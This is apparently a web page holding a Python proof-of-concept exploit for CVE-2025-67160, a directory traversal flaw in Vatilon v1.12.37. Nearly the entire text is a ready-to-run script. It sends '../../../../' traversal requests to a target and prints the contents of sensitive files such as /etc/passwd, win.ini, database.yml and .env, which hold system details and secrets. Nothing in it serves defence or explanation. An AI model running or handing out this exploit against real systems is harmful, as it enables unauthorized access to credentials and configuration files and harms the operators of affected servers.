CVE-2025-67160 Vatilon目录遍历漏洞

import requests # CVE-2025-67160 PoC - Vatilon Directory Traversal # Target: Vatilon v1.12.37-20240124 def exploit_vatilon_traversal(target_url, file_path): """ Exploit directory traversal vulnerability to read arbitrary files """ # Construct malicious URL with directory traversal payload traversal_payload = f"../../../../{file_path}" exploit_url = f"{target_url}/{traversal_payload}" print(f"[*] Target: {target_url}") print(f"[*] Attempting to read: {file_path}") print(f"[*] Payload: {traversal_payload}") try: response = requests.get(exploit_url, timeout=10) if response.status_code == 200: print(f"[+] Success! File content:") print(response.text[:500]) # Print first 500 chars return response.text else: print(f"[-] Failed with status code: {response.status_code}") return None except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None if __name__ == "__main__": target = "http://target.com/vatilon" # Read sensitive files files = [ "etc/passwd", "windows/win.ini", "../../config/database.yml", "../../.env" ] for file in files: exploit_vatilon_traversal(target, file) print("-" * 50)